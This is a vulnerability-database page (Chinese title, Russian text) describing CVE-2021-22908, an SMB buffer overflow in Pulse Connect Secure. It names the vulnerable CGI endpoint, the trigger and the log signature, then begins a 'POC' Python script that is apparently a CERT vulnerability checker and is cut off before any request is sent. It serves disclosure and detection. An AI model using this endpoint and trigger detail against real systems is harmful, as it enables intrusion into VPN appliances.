CVE-2021-22908_Pulse_Connect_Secure_任意代碼執行漏洞_ru

# CVE-2021-22908 Pulse Connect Secure 任意代碼執行漏洞/ru

== Описание уязвимости ==

Поскольку PCS поддерживает соединение с общим доступом к файлам Windows (SMB), эта функция обеспечивается сценариями CGI, основанными на библиотеках Samba 4.5.10 и вспомогательных приложениях. При указании длинного имени сервера для определенных операций SMB приложение smbclt может аварийно завершить работу из-за переполнения буфера, в зависимости от длины указанного имени сервера.

Было подтверждено, что система PCS 9.1R11.4 имеет эту уязвимость. Целевая конечная точка CGI – /dana/fb/smb/wnf.cgi. Другие конечные точки CGI также могут вызывать эту уязвимость.

Если злоумышленнику не удается выполнить очистку после успешного использования этой уязвимости, указание длинного имени сервера может привести к появлению следующих записей журнала событий PCS:

Critical ERR31093 2021-05-24 14:05:37 - ive - [127.0.0.1] Root::System()[] - Program smbclt recently failed.

Но для использования этой уязвимости на сервере PCS должна быть политика доступа к файлам Windows, разрешающая \\ *, или другая политика, позволяющая злоумышленнику подключаться к любому серверу. Вы можете просмотреть текущую политику SMB, просмотрев Пользователь-> Политика ресурсов-> Политика доступа к файлам Windows на странице управления PCS. Устройства PCS версии 9.1R2 и более ранних используют политику по умолчанию, разрешающую подключения к любому узлу SMB. Начиная с 9.1R3, эта политика была изменена с разрешения по умолчанию на отклонение по умолчанию.

== Сфера влияния ==
Pulse Connect Secure 9.0RX and 9.1RX

==POC==

#!/usr/bin/env python3
# Utility to check for Pulse Connect Secure CVE-2021-22908
# https://www.kb.cert.org/vuls/id/667933

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
import sys
from html.parser import HTMLParser
import getpass

parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908')
parser.add_argument('host', type=str, help='PCS IP or hostname)')
parser.add_argument('-u', '--user', dest='user', type=str, help='username')
parser.add_argument('-p', '--pass', dest='password', type=str, help='password')
parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm')
parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID')
parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth')
parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround')

args = parser.parse_args()

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class formvaluefinder(HTMLParser):
    def __init__(self, searchval):
        super(type (self), self).__init__()
        self.searchval = searchval
    def handle_starttag(self, tag, attrs):
        if tag == 'input':
            # We're just looking for form  tags
            foundelement = False
            for attr in attrs:
                if(attr[0] == 'name'):
                    if(attr[1] == self.searchval):
                        foundelement = True
                elif(attr[0] == 'value' and foundelement == True):
                     self.data = attr[1]

class preauthfinder(HTMLParser):
    foundelement = False
    def handle_starttag(self, tag, attrs):
        if tag == 'textarea':
            # We're just looking for